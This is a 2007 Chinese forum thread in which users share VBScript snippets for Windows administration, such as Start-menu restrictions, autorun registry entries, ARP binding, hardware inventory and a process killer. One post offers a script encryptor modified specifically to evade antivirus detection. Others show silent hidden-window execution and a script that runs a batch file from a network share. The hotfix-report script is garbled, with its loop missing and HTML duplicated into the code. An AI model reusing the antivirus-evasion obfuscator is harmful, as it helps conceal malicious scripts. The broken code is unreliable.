Host,所以不能起太多的隐蔽作用,在此仅供大家参考。 <font color=\"#ee1111\">禁用开始菜单选项</font> 用记事本编辑如下内容: Dim ChangeStartMenu Set ChangeStartMenu=Wscript.CreateObject(\"Wscript.Shell\") RegPath=\"HKCR\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\\" Type_Name=\"REG_DWORD\" Key_Data=1 StartMenu_Run=\"NoRun\" StartMenu_Find=\"NoFind\" StartMenu_Close=\"NoClose\" Sub Change(Argument) ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name MsgBox(\"Success!\") End Sub Call Change(StartMenu_Run) \'禁用“开始”菜单中的“运行”功能 Call Change(StartMenu_Find) \'禁用“开始”菜单中的“查找”功能 Call Change(StartMenu_Close) \'禁用“开始”菜单中的“关闭系统”功能 将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。 </p><p></p><p><font color=\"#e61a1a\">执行外部程序</font> 用记事本编辑如下内容: DIM objShell set objShell=wscript.createObject(\"wscript.shell\") iReturn=objShell.Run(\"cmd.exe /C set var=world\", 1, TRUE) 保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。 <font color=\"#dd4822\">重新启动指定的IIS服务</font> 用记事本编辑如下内容: Const ADS_SERVICE_STOPPED = 1 Set objComputer = GetObject(\"WinNT://MYCOMPUTER,computer\") Set objService = objComputer.GetObject(\"Service\",\"MYSERVICE\") If (objService.Status = ADS_SERVICE_STOPPED) Then objService.Start End If 将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscript c:\\startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。 </p><p></p><p><font color=\"#e61a1a\">改造“开始”菜单 </font>\'ChangeStartMenu.vbs Dim ChangeStartMenu Set ChangeStartMenu=Wscript.CreateObject(\"Wscript.Shell\") RegPath=\"HKCR\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\\" Type_Name=\"REG_DWORD\" Key_Data=1 StartMenu_Run=\"NoRun\" StartMenu_Find=\"NoFind\" StartMenu_Close=\"NoClose\" Sub Change(Argument) ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name MsgBox(\"Success!\") End Sub Call Change(StartMenu_Run) \'禁用“开始”菜单中的“运行”功能 Call Change(StartMenu_Find) \'禁用“开始”菜单中的“查找”功能 Call Change(StartMenu_Close) \'禁用“开始”菜单中的“关闭系统”功能 </p><p></p><p><font color=\"#dd2222\">向Windows中添加自启动程序</font> 该程序能在开机时自动运行。 \'AddAutoRunProgram.vbs \'假设该程序在c:\\myfile文件夹中,文件名为autorun.exe Dim AutoRunProgram Set AutoRunProgram=Wscript.CreateObject(\"Wscript.Shell\") RegPath=\"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\" Type_Name=\"REG_SZ\" Key_Name=\"AutoRun\" Key_Data=\"C:\\Myfile\\autorun.exe\" \'该自启动程序的全路径文件名 AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name \'在启动组中添加自启动程序autorun.exe MsgBox(\"Success!\") </p><p></p><p>隐藏快捷方式图标上的小箭头: \'Hidden.vbs Dim HiddenArrowIcon Set HiddenArrowIcon=Wscript.CreateObject(\"Wscript.Shell\") Dim RegPath1,RegPath2 RegPath1=\"HKCR\\lnkfile\\IsShortCut\" RegPath2=\"HKCR\\piffile\\IsShortCut\" HiddenArrowIcon.RegDelete(RegPath1) HiddenArrowIcon.RegDelete(RegPath2) </p><p></p><p><font color=\"#ee3d11\">读本机“计算机名”</font> \'ReadComputerName.vbs Dim ReadComputerName Set ReadComputerName=Wscript.CreateObject(\"Wscript.Shell\") Dim ComputerName,RegPath RegPath=\"HKLM\\System\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName\" ComputerName=ReadComputerName.RegRead(RegPath) MsgBox(\"计算机名为\"&ComputerName)</p><p><b><font color=\"#ee3d11\">vbs脚本绑定MAC.不出现黑框</font></b><br/> </p><p>新建一个文本文件.TXT,<br/>内容格式为<br/>set ws=w<i>script</i>.createobject(\"w<i>script</i>.shell\")<br/>ws.run \"arp -s 192.168.2.1 00-2B-6A-E2-D0-AC\",0<br/>ws.run \"arp -s 192.168.2.2 00-24-2A-00-C2-86\",0<br/>ws.run \"arp -s 192.168.2.3 00-22-2A-09-CE-C4\",0<br/>ws.run \"arp -s 192.168.2.4 00-23-D4-6A-BF-D8\",0<br/>ws.run \"arp -s 192.168.2.5 00-2B-6A-E2-CF-41\",0<br/>ws.run \"arp -s 192.168.2.7 00-20-E8-13-6D-0C\",0<br/>ws.run \"arp -s 192.168.2.8 00-22-2A-6B-AA-05\",0<br/>保存,再将文本改名为*.VBS *为任意字符<br/>注:arp -s 192.168.2.8 00-22-2A-6B-AA-05 这些IP与MAC自己套一下。<br/>这样的效果与批处理.BAT的一样,就是不会出现黑黑的DOS窗口,比较省心。</p><p>ps:因为没有窗口,所以可以用这东西做很多很多事情...</p><p> <font color=\"#e61a1a\" size=\"5\">静音.vbs</font></p><p>Dim WshShell<br/>Set WshShell = CreateObject(\"W<i>script</i>.Shell\")<br/>WshShell.Run \"C:\\Windows\\system32\\sndvol32.exe\"<br/>W<i>script</i>.Sleep 1000<br/>WshShell.AppActivate \"主音量\"<br/>WshShell.SendKeys \"{TAB}\"<br/>WshShell.SendKeys \"{TAB}\"<br/>WshShell.SendKeys \"{+}\"<br/>WshShell.SendKeys \"%{F4}\"</p><strong><p><b><font color=\"#dd2222\" size=\"4\">删除指定天数文件的vbs脚本</font></b><br/> </p><p></p><p>Const FilePath = \"E:\\log\" \'定义目录<br/><br/>Set FSO = CreateObject(\"<i>script</i>ing.FileSystemObject\")<br/>ShowSubfolders FSO.GetFolder(filepath)<br/>Sub ShowSubFolders(Folder)<br/>For Each Subfolder in Folder.SubFolders<br/> Set Files = subfolder.Files<br/> If Files.Count <> 0 Then<br/> For Each File In Files<br/> If File.DateLastModified < Now - 30 Then \'判断是否超过30天<br/> FSO.DeleteFile(Subfolder.Path & \"\\\" & File.Name) \'删除<br/> \'W<i>script</i>.Echo Subfolder.Path & \"\\\" & File.Name \'显示 <br/> End If<br/> Next<br/> End If<br/> ShowSubFolders Subfolder<br/>Next<br/>End Sub </p><p></p><p><font face=\"黑体\" color=\"#3366ff\" size=\"3\">用vbs脚本来列示出你安装了哪些补丁!</font>
</p><p></p><p><font face=\"黑体\" color=\"#3366ff\" size=\"3\">\' 使用脚本列示已经安装过的补丁 \' 及其安装ID、描述、日期及实施者 strComputer = \".\" Set objWMIService = GetObject (\"winmgmts:{impersonationLevel = impersonate}!\\\\\" & strComputer & \"\\root\\cimv2\") Set colQuickFixes = objWMIService.ExecQuery(\" Select * from Win32_QuickFixEngineering\") Set objFS = CreateObject (\"scripting.FileSystemObject\") Set objNF = objFS.CreateTextFile(\"InstallHotfixes.htm\") objNF.Writeline \"\" objNF.writeline \"\" objNF.writeline \"\" objNF.writeline \"\" objNF.writeline \"\" objNF.writeline \" <h3>Hotfix report -- Date:\"&Now()&\" </h3><p>\" & vbcrlf objNF.writeline \" <table border=\"1\" style=\"FONT-SIZE: 9pt;\"><tbody><tr><td>Computer:</td><td>Description:</td><td>HotFixID:</td><td>Installation Date:</td><td>Installed By:</td></tr><tr><td>\"& objQuickFix.CSName & \"</td><td>\"& objQuickFix.Description &\" </td><td>\"& objQuickFix.HotFixID &\" </td><td>\"& objQuickFix.InstallDate &\" </td><td>\"& objQuickFix.InstalledBy &\" </td></tr></tbody></table>\" objNF.writeline \"\" objNF.writeline \"\" objNF.close set objshell = wscript.createobject(\"wscript.shell\") objshell.run \"InstallHotfixes.htm\"<font face=\"Tahoma\" color=\"#222222\" size=\"2\">
</font></p></font></p><h3>Hotfix report -- Date:\"&Now()&\" </h3><p>\" & vbcrlf objNF.writeline \" <table border=\"1\" style=\"FONT-SIZE: 9pt;\"><tbody><tr><td>Computer:</td><td>Description:</td><td>HotFixID:</td><td>Installation Date:</td><td>Installed By:</td></tr><tr><td>\"& objQuickFix.CSName & \"</td><td>\"& objQuickFix.Description &\" </td><td>\"& objQuickFix.HotFixID &\" </td><td>\"& objQuickFix.InstallDate &\" </td><td>\"& objQuickFix.InstalledBy &\" </td></tr></tbody></table>\" objNF.writeline \"\" objNF.writeline \"\" objNF.close set objshell = wscript.createobject(\"wscript.shell\") objshell.run \"InstallHotfixes.htm\"<font face=\"Tahoma\" color=\"#222222\" size=\"2\">
</font></p><p></p><p>用VB检测计算机硬件信息此段VB可以检测到计算机的主板,CPU(包括主频),内存,硬盘,显卡,网卡等相关信息特别适合在局域网内用来察看和管理内部计算机的硬件配置情况 </p><p></p><p>程序代码 </p><p></p><p>On Error Resume Next<br/>temp=0<br/>set wshshell=w<i>script</i>.createobject(\"w<i>script</i>.shell\")<br/>’启动<U>WMI</U>服务(没有这个服务就不行)<br/>wshshell.run (\"%comspec% /c regsvr32 /s scrrun.dll\"),0,True<br/>wshshell.run (\"%comspec% /c sc config winmgmt start= auto\"),0,True<br/>wshshell.run (\"%comspec% /c net start winmgmt\"),0<br/>’用一个文本来记录硬件信息<br/>Set WshNetwork = W<i>script</i>.Createobject(\"W<i>script</i>.Network\")<br/>computername=WshNetwork.ComputerName<br/><br/>set fso=createobject(\"<i>script</i>ing.filesystemobject\")<br/>tempfilter=\"c:\\\"& computername &\".txt\"<br/>’这里是硬件信息纪录的存放位置,可以是网络共享路径(需有写入权限)<br/>set tempfile=fso.createtextfile(tempfilter)<br/><br/>strComputer = \".\"<br/>Set objWMIService = Getobject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")<br/>’主板<br/>set board =objwmiservice.execQuery(\"select * from win32_baseboard\")<br/>for each item in board<br/>board2=\"主板:\" & item.Product<br/>next<br/>’CPU<br/>set cpu =objwmiservice.execQuery(\"select * from win32_processor\")<br/>for each item in cpu<br/>cpu2= \"CPU:\" & item.Name<br/>next<br/>’内存<br/>Set colItems = objWMIService.ExecQuery(\"Select * from Win32_PhysicalMemory\",,48)<br/>For Each objItem in colItems<br/>a=objitem.capacity/1048576<br/>temp=temp+objitem.capacity<br/>n=n+1<br/>Next<br/>memory=temp/1048576<br/>if n=1 then<br/>memory2= \"内存: \" & n & \"条\" &a&\"M\"<br/>else<br/>memory2= \"内存: \" & n & \"条\" &a&\"M\"&\" 总计\"&memory&\"M\"<br/>end if<br/>’硬盘<br/>set disk =objwmiservice.execQuery(\"select * from win32_diskdrive\")<br/>for each item in disk<br/>disk2= \"硬盘: \" & item.Model<br/>next<br/><br/>’显卡<br/>set video =objwmiservice.execQuery(\"select * from win32_videocontroller\",,48)<br/>for each item in video<br/>video2= \"显卡: \" & item.De<i>script</i>ion<br/>next<br/>’网卡<br/>Set colItems = objWMIService.ExecQuery(\"Select * from Win32_NetworkAdapter\",,48)<br/>For Each objItem in colItems<br/>if (left(objItem.NetConnectionID,4)=\"本地连接\") then<br/>lanname=objItem.Name <br/>end if<br/>Next<br/>lan2=\"网卡: \" & lanname<br/><br/>tempfile.writeline(board2)<br/>tempfile.writeline(cpu2)<br/>tempfile.writeline(memory2)<br/>tempfile.writeline(disk2)<br/>tempfile.writeline(video2)<br/>tempfile.writeline(lan2)<font size=\"+0\"></font>
</p><div></div><div><font face=\"黑体\" color=\"#3366ff\" size=\"3\"><font color=\"#99cc00\">运行此VB之后会在你所设置的目录内生成一个以机器名命名的文本文件比如我的机器纪录如下: </font><font face=\"黑体, Simhei\" color=\"#ff6600\" size=\"3\" style=\"BACKGROUND-COLOR: #ffffff;\">主板:GA-8TRX330 CPU:Intel(R) Celeron(R) CPU 2.10GHz 内存: 1条256M 硬盘: ST3120022A 显卡: RADEON 9550 Secondary 网卡: Realtek RTL8139 Family PCI Fast Ethernet NIC</font></font></div></strong> <div><strong>VBS脚本加密/解密VBS脚本(简易免杀版1.1)<br/></strong><p>由于杀软的原因使得“加密/解密VBS脚本”版不能正常使用,于是修改了一下加密函数逃避杀软,但同1.0版一样由宿主解释执行脚本的特性注定了这种加密是可逆并非常脆弱的,WScript.Echo 一下Execute后的内容即可显示源码了。<br/>算法大家可任意改。。。。。<br/></p><p>Dim WshSHell,FSO<br/>On Error Resume Next<br/>Set WshSHell = WScript.CreateObject(\"WScript.Shell\")<br/>Set FSO = CreateObject(\"Scripting.FileSystemObject\")<br/>Set Args = WScript.Arguments<br/>Ver=\"1.1\"<br/>CloseTime = 5<br/>FileName = WScript.ScriptName<br/>FileFullName = WScript.ScriptFullName<br/>FilePath = FSO.GetParentFolderName(FileFullName)<br/>InsPath = FSO.GetSpecialFolder(1)<br/>InsFullName = FSO.BuildPath(InsPath ,FileName)<br/>Copyright=\"废铁\"<br/>QQ=\"QQ:415736\"<br/>Email=\"Email:<img alt=\"图片点击可在新窗口打开查看\" src=\"http://bbs.txwm.com/skins/default/email1.gif\" align=\"absMiddle\" style=\"CURSOR: pointer;\"/><a href=\"mailto:415736@163.com\" target=\"_blank\"><font color=\"#000000\">415736@163.com</font></a>\"<br/>InsTitle=\"加密/解密VBS脚本(简易免杀版)\"&Ver<br/>InsAnswer=\"加密/解密VBS脚本(简易免杀版)\"&Ver<br/>RegPath1=\"HKEY_CLASSES_ROOT\\vbsfile\\shell\\EnCode_VBS\\\"<br/>RegValue1=\"加密/解密VBS脚本\"&Ver<br/>RegForm1=\"REG_SZ\"<br/>RegPath2=\"HKEY_CLASSES_ROOT\\vbsfile\\shell\\EnCode_VBS\\command\\\"<br/>RegValue2=\"wscript.exe \" & chr(34) & InsFullName & chr(34) & \" \" & chr(34) & \"%L\" & chr(34)<br/>RegPath3=\"HKEY_CLASSES_ROOT\\vbsfile\\shell\\EnCode_VBS\\EnCode_Very\"<br/>RegValue3=\"0\"<br/>RegValue4=\"1\"<br/>IF FileFullName <> InsFullName then<br/>intAnswer = MsgBox(\"【是】将“\"+ InsAnswer +\"”加入到右键菜单,\"&Chr(10)&Chr(10)&\"【否】将“\"+ InsAnswer +\"”从右键菜单删除。 \", vbQuestion + vbYesNoCancel, \"安装 - \"+ InsTitle +\" - \"+ Copyright)<br/> If intAnswer = vbYes Then<br/>WshSHell.RegWrite RegPath1,RegValue1,RegForm1<br/>WshSHell.RegWrite RegPath2,RegValue2,RegForm1<br/>WshSHell.RegWrite RegPath3,RegValue4,RegForm1<br/>FSO.GetFile(FileFullName).Copy(InsFullName)<br/>WshSHell.popup _<br/>\"添加脚本文件:\"+chr(10)+InsFullName+chr(10)+chr(10)+ _<br/>\"添加注册表项:\"+chr(10)+chr(34)+ RegPath1 +chr(34)+chr(10)+ _<br/>chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _<br/>chr(10) & \"Copyright(C)\" + Copyright +\" \" & QQ &\" \" + Email _<br/>, CloseTime, \"安装成功 - \"+ InsTitle +\" - \"+ Copyright, 0 + 64<br/>end if<br/> If intAnswer = vbNo Then<br/>WshSHell.RegDelete RegPath3<br/>WshSHell.RegDelete RegPath2<br/>WshSHell.RegDelete RegPath1<br/>FSO.DeleteFile InsFullName<br/>WshSHell.popup _<br/>\"删除脚本文件:\"+chr(10)+InsFullName+chr(10)+chr(10)+ _<br/>\"删除注册表项:\"+chr(10)+chr(34)+ RegPath1 +chr(34)+chr(10)+ _<br/>chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _<br/>chr(10) & \"Copyright(C)\" + Copyright +\" \" & QQ &\" \" + Email _<br/>, CloseTime, \"卸载成功 - \"+ InsTitle +\" - \"+ Copyright, 0 + 64<br/>end if<br/>ELSE<br/>Package = WScript.Arguments.Item(0)<br/>PkgName=FSO.GetBaseName(Package)<br/>PkgPath=FSO.GetParentFolderName(Package)<br/>Set ReadFile = FSO.OpenTextFile(Package, 1)<br/>ReadAllTextFile=ReadFile.ReadAll<br/>if left(ReadAllTextFile,10)<>\"Rem EnCode\" then<br/>EnCodePanDuan=\"Rem EnCode-Easy By QQ:415736\"<br/>CodeString=ReadAllTextFile<br/>For i=1 To Len(CodeString)<br/>TempNum = Asc(Mid(CodeString,i,1))<br/>If TempNum = 13 Then<br/>TempNum = 28<br/>ElseIf TempNum = 10 Then<br/>TempNum = 29<br/>elseif TempNum=34 Then<br/>TempNum = 18<br/>elseif TempNum>96 and TempNum<110 then<br/>TempNum=TempNum+13<br/>elseif TempNum>109 and TempNum<123 then<br/>TempNum=TempNum-13<br/>elseif TempNum>47 and TempNum<53 then<br/>TempNum=TempNum+5<br/>elseif TempNum>52 and TempNum<58 then<br/>TempNum=TempNum-5<br/>End If<br/>ThisText = ThisText & chr(TempNum)<br/>Next<br/>Call EnCodeFile<br/>Else<br/>Call UnCodeFile<br/>end if<br/>End if<br/>Set WshSHell = Nothing<br/>Set FSO = Nothing<br/>Set Args = Nothing<br/>WScript.Quit(0)<br/>Sub EnCodeFile()<br/>Set NewFile = FSO.CreateTextFile(FSO.BuildPath(PkgPath ,PkgName&\"_Encode.VBS\"), True)<br/>NewFile.WriteLine(EnCodePanDuan)<br/>NewFile.WriteLine(\"ExeString=\"&chr(34)&ThisText&chr(34))<br/>NewFile.WriteLine(\"Execute(\"&chr(34)&\"For i=1 To Len(ExeString)\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = Asc(Mid(ExeString,i,1))\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"If TempNum = 28 Then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = 13\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"ElseIf TempNum = 29 Then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = 10\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum=18 Then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = 34\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>96 and TempNum<110 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum+13\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>109 and TempNum<123 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum-13\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>47 and TempNum<53 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum+5\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>52 and TempNum<58 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum-5\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"End If\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"ThisText = ThisText & chr(TempNum)\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"Next\"&chr(34)&\")\")<br/>NewFile.WriteLine(\"Execute(ThisText)\")<br/>NewFile.Close<br/>WshShell.popup chr(10) &_<br/>\"加密成功了!保存为文件:\"+ chr(10) &chr(10) & _<br/>FSO.BuildPath(PkgPath ,PkgName&\"_Encode.VBS\")+chr(10)+chr(10)+ _<br/>chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _<br/>chr(10) & \"Copyright(C)\" + Copyright +\" \" & QQ &\" \" + Email _<br/>, CloseTime, EnCodePanDuan +\" - \"+ Copyright, 0 + 64<br/>End Sub<br/>Sub UnCodeFile()<br/>Set ReadFile = FSO.OpenTextFile(Package, 1)<br/>ReadLineTextFile1=ReadFile.ReadLine<br/>ReadLineTextFile2=ReadFile.ReadLine<br/>ReadLineTextFile3=ReadFile.ReadLine<br/>ReadFile.Close<br/>Set NewFile = FSO.CreateTextFile(FSO.BuildPath(PkgPath ,PkgName&\"_Uncode.VBS\"), True)<br/>NewFile.WriteLine(ReadLineTextFile2)<br/>NewFile.WriteLine(ReadLineTextFile3)<br/>NewFile.WriteLine(\"EnCodePanDuan=\"&chr(34)&ReadLineTextFile1&chr(34)&vbCrLf&\"EnCodePD=\"&chr(34)&\"Rem EnCode-Very By QQ:415736\"&chr(34)&vbCrLf&\"For i=1 To Len(ThisText)\"&vbCrLf&\"TempNum = Asc(Mid(ThisText,i,1))\"&vbCrLf&\"TempChar = Chr(TempNum)\"&vbCrLf&\"if EnCodePanDuan=EnCodePD then\"&vbCrLf&\"If TempChar = Chr(58) Then\"&vbCrLf&\"TempChar = Chr(13)\"&vbCrLf&\"End If\"&vbCrLf&\"End If\"&vbCrLf&\"ThisTextTem = ThisTextTem & TempChar\"&vbCrLf&\"Next\")<br/>NewFile.WriteLine(\"strCode = (ThisTextTem)\"&vbCrLf&\"Set WshSHell = WScript.CreateObject(\"&chr(34)&\"WScript.Shell\"&chr(34)&\")\"&vbCrLf&\"Set FSO = CreateObject(\"&chr(34)&\"Scripting.filesystemobject\"&chr(34)&\")\"&vbCrLf&\"FileName = WScript.ScriptName\"&vbCrLf&\"Set fC = FSO.OpenTextFile(FileName, 2, true)\"&vbCrLf&\"fC.Write strCode\"&vbCrLf&\"fC.Close\"&vbCrLf&\"Set WshSHell = Nothing\"&vbCrLf&\"Set FSO = Nothing\"&vbCrLf&\"WScript.Quit(0)\")<br/>NewFile.Close<br/>WScript.Sleep 1500<br/>WshSHell.Run (chr(34)&FSO.BuildPath(PkgPath ,PkgName&\"_Uncode.VBS\")&chr(34)), vbHide<br/>WshShell.popup chr(10) &_<br/>\"解密成功了!保存为文件:\"+ chr(10) &chr(10) & _<br/>FSO.BuildPath(PkgPath ,PkgName&\"_Uncode.VBS\")+chr(10)+chr(10)+ _<br/>chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _<br/>chr(10) & \"Copyright(C)\" + Copyright +\" \" & QQ &\" \" + Email _<br/>, CloseTime, \"解密成功 - \"+ InsTitle +\" - \"+ Copyright, 0 + 64<br/>End Sub</p></div> <p><b>图片尺寸转换的VBS脚本</b></p><p>Set oImg = CreateObject(\"WIA.ImageFile\")<br/>Set oProc = CreateObject(\"WIA.ImageProcess\")<br/>oImg.LoadFile \"Water lilies.jpg\" \'打开当前文件夹里的Water lilies.jpg<br/>oProc.Filters.Add oProc.FilterInfos(\"Scale\").FilterID \'添加一个 Scale 的滤境<br/>oProc.Filters(1).Properties(\"MaximumWidth\")=\"400\" \'定义新图片的 宽<br/>oProc.Filters(1).Properties(\"MaximumHeight\")=\"300\" \'定义新图片的 高<br/>Set oNewImg = oProc.Apply(oImg) \'保存新图片到 oNewImg 对象里<br/>oNewImg.SaveFile \"New.jpg\" \'把oNewImg对象保存为图片</p><p><strong>定时杀进程的VBS脚本</strong></p><strong><p>**********************************************************************************************************<br/>\'Description: 定时查杀自定义进程,建议设为开机启动<br/>\'Author: 废铁<br/>\'Email: <a href=\"http://bbs.txwm.com/mailt415736@qq.com\" target=\"_blank\"><font color=\"#000000\">415736@qq.com</font></a><br/>\'QQ: 415736<br/>\'WebSite: <a href=\"http://www.ganhui0818.cn/\" target=\"_blank\"><font color=\"#000000\">http://www.ganhui0818.cn</font></a><br/>\'**********************************************************************************************************</p><p>Dim scriptPath,lenRootPath,listFilePath<br/>Dim sCheck<br/>scriptPath=WScript.ScriptFullName<br/>lenRootPath=Left(scriptPath,InStrRev(scriptPath,\"\\\"))<br/>listFilePath=lenRootPath & \"list.txt\" \'设置进程黑名单文件名称<br/>sCheck=10 \'设定间隔多少秒钟扫描一次进程<br/>Do<br/> Call CheckList(listFilePath)<br/> WScript.Sleep sCheck*1000<br/>Loop</p><p>Sub CheckList(listFilePath)<br/> On Error Resume Next<br/> Dim Fso,listFile<br/> Dim KeyWord,processKey,pathKey,TipStr<br/> Set Fso=CreateObject(\"Scripting.FileSystemObject\")<br/> If Fso.FileExists(listFilePath) Then<br/> Set listFile=Fso.OpenTextFile(listFilePath,1,0)<br/> Do While Not listFile.AtEndOfStream<br/> KeyWord=listFile.ReadLine<br/> If KeyWord<>\"\" And Left(KeyWord,1)<>\"\'\" Then<br/> KeyWord=Split(KeyWord,\"|\")<br/> If UBound(KeyWord)>1 Then<br/> processKey=Trim(KeyWord(0))<br/> pathKey=Trim(KeyWord(1))<br/> Tipstr=Trim(KeyWord(2))<br/> Call ProcessKiller(processKey,TipStr)<br/> If pathKey<>\"\" Then Call ProcessKiller(pathKey,TipStr)<br/> End If<br/> End If<br/> If Err Then Err.Clear<br/> Loop<br/> Set listFile=Nothing<br/> Else<br/> WScript.Quit<br/> End If<br/> Set Fso=Nothing<br/>End Sub </p><p>Sub ProcessKiller(callstr,Tstr)<br/> On Error Resume Next<br/> Dim WMI,objProcess,Process<br/> Dim MsgStr<br/> Dim isKilled<br/> isKilled=False<br/> Set WMI=GetObject(\"WinMgmts:\")<br/> Set Process=WMI.InstancesOf(\"Win32_Process\")<br/> For Each objProcess In Process<br/> If InStr(callstr,\".\")>0 Then<br/> If objProcess.name=callstr Then <br/> objProcess.Terminate<br/> isKilled=True<br/> End If<br/> Else<br/> If InStr(objProcess.ExecutablePath,callstr)>0 Then <br/> objProcess.Terminate<br/> isKilled=True<br/> End If<br/> End If<br/> If Err Then Err.Clear<br/> Next<br/> Set Process=Nothing<br/> Set WMI=Nothing<br/> MsgStr=\"对不起,为了营造一个良好的网络环境,本网吧禁止运行以下程序:\" & vbCrLf & vbCrLf<br/> MsgStr=MsgStr & \" - \" & Tstr & vbCrLf & vbCrLf & \"敬请广大顾客朋友理解并配合,谢谢!\"<br/> If isKilled=True Then MsgBox MsgStr<br/>End Sub</p></strong> 有没有预留开机维护通道的脚本? <div class=\"msgheader\">QUOTE:</div><div class=\"msgborder\"><b>以下是引用<i>kobelau</i>在2007-9-29 20:24:25的发言:</b><br/>有没有预留开机维护通道的脚本?</div><p>有啊,</p><p></p><p></p><p><font size=\"5\">去黑框的VBS</font></p><p>On Error Resume Next<br/>Dim Wsh<br/>Set Wsh = WScript.CreateObject(\"WScript.Shell\")<br/>WScript.Sleep(0000) \'设定时间<br/>Wsh.Run \"批处理的名称.bat\",0,True<br/>Set Wsh=NoThing<br/>WScript.quit</p><p><font size=\"5\">vbs调用服务器</font></p><p>On Error Resume Next<br/>DIM objShell<br/>set objShell=wscript.createObject(\"wscript.shell\")<br/>WScript.Sleep(10000)<br/>iReturn=objShell.Run(\"cmd.exe /C <a href=\"file://\\\\192.168.1.250\\\">\\\\192.168.1.250\\</a>启动\\start.bat\", 0, TRUE) <br/></p>
[此贴子已经被作者于2007-9-29 21:20:20编辑过]
页:
[1]